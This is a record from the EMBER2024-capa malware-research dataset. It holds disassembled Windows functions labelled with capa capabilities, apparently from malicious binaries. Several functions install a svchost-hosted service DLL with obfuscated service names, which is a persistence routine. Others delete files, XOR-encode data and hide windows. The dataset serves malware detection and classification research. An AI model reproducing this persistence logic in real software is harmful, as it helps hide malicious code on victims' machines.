joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ba30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10018c40], eax
jne 0x1000ba4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Ozejz_Qhwkzpkw_Dntksqsp_G_ua
push str.Zftgmw__whfvbnJkn
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10018c3c], eax
jne 0x1000ba84
pop ecx
ret
mov edx, dword [0x10018c40]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10018c3c]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.Owyanrh_Kiigdugh_Qspm_q_Iidzswwl_Mcl
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bac0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.Zftgmw__whfvbnJkn
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000bd00
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Zftgmw__whfvbnJkn
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000bc20
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.1000bc80
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__VuvTNwjcofhw_bqe
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__VuvTNwjcofhw_bqe
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000bc20
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000bc80
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000c1d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Zftgmw__whfvbnJkn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c29c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__VuvTNwjcofhw_bqe
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000c330
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c453
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c448
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000c453
cmp si, 1
je 0x1000c453
push str.Zftgmw__whfvbnJkn
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000c438
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000c453
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000c3ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000c460
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000c1d0
test eax, eax
jne 0x1000c46e
call fcn.1000bd00
call fcn.1000c330
test eax, eax
jne 0x1000c47c
jmp fcn.1000bf00
ret
Function at 0x401da0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x4120c7
call fcn.00411b70
push ecx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [esi + 0x14], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x28], edi
lea ecx, [esi + 0x30]
mov dword [ebp - 4], edi
call fcn.0040de59
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x1d30], edi
mov dword [esi], 0x4142cc
mov dword [esi + 4], 0x4142bc
mov dword [esi + 8], 0x4142a8
mov dword [esi + 0xc], 0x414298
mov dword [esi + 0x10], 0x414284
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x401ef2
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x4120df
call fcn.00411b70
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [esi], 0x4142cc
mov dword [esi + 4], 0x4142bc
mov dword [esi + 8], 0x4142a8
mov dword [esi + 0xc], 0x414298
mov dword [esi + 0x10], 0x414284
push dword [esi + 0x1d30]
and dword [ebp - 4], 0
lea edi, [esi + 0x1d30]
call fcn.0040acf8
and dword [edi], 0
lea ecx, [esi + 0x30]
call fcn.00401f69
or dword [ebp - 4], 0xffffffff
add esi, 0x18
mov ecx, esi
call fcn.0040ac2a
mov ecx, esi
call fcn.0040ac63
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x4073c0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x41290b
call fcn.00411b70
push ecx
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
mov dword [ebp - 0x10], esi
mov dword [esi], eax
mov dword [ebp - 4], eax
mov dword [esi + 4], eax
mov ecx, dword [ebp + 8]
push 8
mov dword [esi + 8], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0xc], ecx
lea ecx, [esi + 0x10]
pop edi
mov edx, 0x4143b8
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], edi
mov dword [ecx], edx
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], edi
mov dword [esi + 0x24], edx
lea ebx, [esi + 0x38]
mov edx, 0x414218
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
mov dword [ebx + 0x10], 4
mov dword [ebx], edx
lea edi, [esi + 0x4c]
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], 4
mov dword [edi], edx
push dword [esi + 8]
mov byte [ebp - 4], 5
call fcn.0040bc49
push dword [esi + 8]
mov ecx, ebx
call fcn.0040bc49
push dword [esi + 0xc]
mov ecx, edi
call fcn.0040bc49
push dword [esi + 0xc]
mov ecx, edi
call fcn.0040bc49
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x407971
Capabilities:
Create thread

Disassembly:
mov eax, 0x412ab1
call fcn.00411b70
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [ebp - 0x14], esi
mov dword [esi + 4], 0x414448
lea ecx, [esi + 0xc]
mov dword [esi + 8], edi
call fcn.0040105a
push 4
lea ecx, [esi + 0x5c]
pop ebx
mov dword [ebp - 4], edi
push ebx
call fcn.00401a15
mov dword [esi + 0x5c], 0x414440
lea ecx, [esi + 0x70]
push ebx
mov byte [ebp - 4], 1
call fcn.00401a15
mov dword [esi + 0x70], 0x414438
lea eax, [esi + 0x84]
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], ebx
mov dword [eax], 0x414430
mov dword [esi + 0x98], edi
push edi
push edi
push edi
lea ecx, [esi + 0x9c]
push edi
mov byte [ebp - 4], bl
call fcn.0040dbc6
lea eax, [esi + 0xa0]
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], ebx
mov dword [eax], 0x414314
push edi
push edi
push edi
lea ecx, [esi + 0xb4]
push edi
mov byte [ebp - 4], 6
call fcn.0040dbc6
push edi
push edi
push edi
lea ecx, [esi + 0xb8]
push 1
mov byte [ebp - 4], 7
call fcn.0040dbc6
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 8
push eax
push edi
push esi
push 0x407ac7
push edi
push edi
mov dword [esi], 0x41441c
mov dword [esi + 4], 0x414410
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
mov dword [esi + 0x98], eax
jne 0x407a75
lea eax, [ebp - 0x10]
push 0x4149d8
push eax
mov dword [ebp - 0x10], 0x425d1
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x407d03
Capabilities:
Create thread

Disassembly:
mov eax, 0x412b4b
call fcn.00411b70
sub esp, 0xcc
push ebx
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0x78]
mov ecx, dword [edi + 0x18]
push dword [ecx + eax*8 + 4]
lea eax, [ecx + eax*8]
lea ecx, [ebp - 0xd8]
push dword [eax]
call fcn.0040747d
lea esi, [edi + 0x70]
lea eax, [ebp - 0xd8]
xor ebx, ebx
push eax
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.0040850c
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xc]
mov ecx, dword [ecx + eax*4 - 4]
call fcn.004075c6
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov eax, dword [edi + 0xb8]
mov ecx, dword [edx + ecx*4 - 4]
mov dword [ecx + 0x64], eax
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx + eax*4 - 4]
lea ecx, [edi + 0xa0]
mov eax, dword [eax + 0x68]
push dword [eax]
call fcn.004021bc
mov dword [ebp - 0x14], ebx
add edi, 0x84
push ebx
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.004085b7
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xc]
mov edx, dword [edi + 0xc]
mov eax, dword [ecx + eax*4 - 4]
mov ecx, dword [edi + 8]
lea esi, [edx + ecx*4 - 4]
lea ecx, [ebp - 0x10]
push ecx
push ebx
push eax
push 0x407df9
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi], eax
pop edi
pop esi
cmp eax, ebx
pop ebx
jne 0x407dde
lea eax, [ebp - 0x10]
push 0x4149d8
push eax
mov dword [ebp - 0x10], 0x425d0
call sub.MSVCRT.dll__CxxThrowException
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd8]
call fcn.0040763b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret
Function at 0x40b2f2
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jbe 0x40b31d
push ebx
push edi
movzx edi, byte [edx]
movzx ebx, al
xor edi, ebx
shr eax, 8
mov edi, dword [edi*4 + 0x4185f0]
xor eax, edi
inc edx
dec esi
jne 0x40b303
pop edi
pop ebx
mov dword [ecx], eax
pop esi
ret 8

Function at 0x40c70e
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x40c722
xor al, al
jmp 0x40c732
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
neg eax
ret 4

Function at 0x40c7c5
Capabilities:
Delete directory
Set file attributes

Disassembly:
mov eax, 0x41300c
call fcn.00411b70
sub esp, 0x6c
push ebx
push esi
lea ecx, [ebp - 0x48]
call fcn.0040ce85
mov esi, dword [ebp + 8]
push 0x5c
lea eax, [ebp - 0x18]
xor ebx, ebx
push esi
push eax
mov dword [ebp - 4], ebx
call fcn.0040d06a
lea eax, [ebp - 0x18]
push 0x2a
push eax
lea eax, [ebp - 0x24]
push eax
mov byte [ebp - 4], 1
call fcn.0040d06a
mov byte [ebp - 0x34], bl
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.0040b5f2
push dword [ebp - 0x24]
mov byte [ebp - 4], 5
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
lea eax, [ebp - 0x78]
lea ecx, [ebp - 0x38]
push eax
call fcn.0040d55b
test al, al
je 0x40c879
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x18]
sub esp, 0xc
mov ecx, esp
mov dword [ebp + 8], esp
push eax
call fcn.0040b5f2
call fcn.0040c8d2
cmp al, bl
jne 0x40c820
push dword [ebp - 0x30]
mov byte [ebp - 4], 1
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
lea ecx, [ebp - 0x38]
call fcn.0040d11b
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x48]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
xor al, al
pop ecx
jmp 0x40c8bd
push dword [ebp - 0x30]
mov byte [ebp - 4], 1
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
lea ecx, [ebp - 0x38]
call fcn.0040d11b
mov eax, dword [esi]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x40c8a9
push dword [esi]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne bl
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x48]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov al, bl
pop ecx
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4

Function at 0x40cbfd
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov ebx, 0x104
push edi
mov edi, 0x105
cmp dword [esi + 8], ebx
jg 0x40cc1b
push edi
mov ecx, esi
call fcn.0040b628
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, esi
mov edi, eax
call fcn.0040cee4
test edi, edi
jbe 0x40cc3a
cmp edi, ebx
ja 0x40cc3a
push 1
pop eax
jmp 0x40cc3c
xor eax, eax
pop edi
pop esi
pop ebx
ret 4
Function at 0x40cd64
Capabilities:
Delete file

Disassembly:
mov eax, 0x41309c
call fcn.00411b70
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
lea ecx, [ebp - 0x1c]
call fcn.0040ce15
push esi
lea ecx, [ebp - 0x1c]
push dword [ebp + 8]
mov dword [ebp - 4], ebx
call fcn.0040ccb5
test al, al
je 0x40cdf2
push dword [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x40cddd
push dword [esi]
call fcn.0040d4c2
test al, al
je 0x40cdc1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.0040cd40
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x40cd78
push dword [esi]
call fcn.0040c471
test al, al
jne 0x40cddb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40cdf2
jmp 0x40cdaa
mov bl, 1
lea ecx, [ebp - 0x1c]
call fcn.0040cd40
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov al, bl
jmp 0x40ce05
lea ecx, [ebp - 0x1c]
call fcn.0040cd40
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x40d338
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x413108
call fcn.00411b70
sub esp, 0x18
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 1
mov eax, dword [esi]
push 0
mov dword [edi], eax
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
mov dword [edi + 8], eax
mov eax, dword [esi + 0xc]
mov dword [edi + 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [edi + 0x10], eax
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
mov eax, dword [esi + 0x18]
push 0
mov dword [edi + 0x18], eax
push dword [esi + 0x1c]
call fcn.00411d30
mov ecx, dword [esi + 0x20]
xor ebx, ebx
add eax, ecx
lea ecx, [ebp - 0x18]
mov dword [edi + 0x20], eax
lea eax, [esi + 0x2c]
adc edx, ebx
push eax
mov dword [edi + 0x24], edx
call fcn.0040ce9d
and dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
neg eax
sbb eax, eax
inc eax
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.0040d3f1
push eax
lea ecx, [edi + 0x30]
mov byte [ebp - 4], 1
call fcn.0040af1e
push dword [ebp - 0x24]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 0x24]
pop ecx
pop ecx
mov dword [edi + 0x28], eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x40d6c1
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40d6e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40d6e8
xor al, al
jmp 0x40d708
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.00411d30
mov ecx, eax
xor eax, eax
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4
Function at 0x410e3a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [esi], eax
test eax, eax
setne cl
mov al, cl
pop esi
pop ebp
ret 0x18

Function at 0x410e68
Capabilities:
Hide graphical window

Disassembly:
mov eax, 0x413708
call fcn.00411b70
sub esp, 0xc
push esi
mov esi, ecx
push edi
push dword [ebp + 8]
lea edi, [esi + 0x68]
lea ecx, [edi + 0xc]
call fcn.0040af1e
push 0
push 0x1f4
mov ecx, edi
call fcn.0040c028
lea eax, [ebp - 0x18]
push 0x45
push eax
call fcn.0040dae3
push dword [eax]
and dword [ebp - 4], 0
add esi, 0x6c
mov ecx, esi
call fcn.0040dc28
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push 1
push dword [esi]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xc]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x411006
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x413792
call fcn.00411b70
push ecx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [esi + 4], edi
mov dword [esi], 0x4146c4
lea ecx, [esi + 0xc]
mov dword [esi + 8], edi
push 0xf
mov dword [ebp - 4], edi
mov dword [ecx], edi
mov dword [ecx + 4], edi
mov dword [ecx + 8], edi
call fcn.004071bc
push edi
push edi
push edi
lea ecx, [esi + 0x38]
push 1
mov byte [ebp - 4], 1
mov dword [esi + 0x30], edi
call fcn.0040dbc6
lea ecx, [esi + 0x40]
mov byte [ebp - 4], 2
call fcn.00411099
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x414694
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret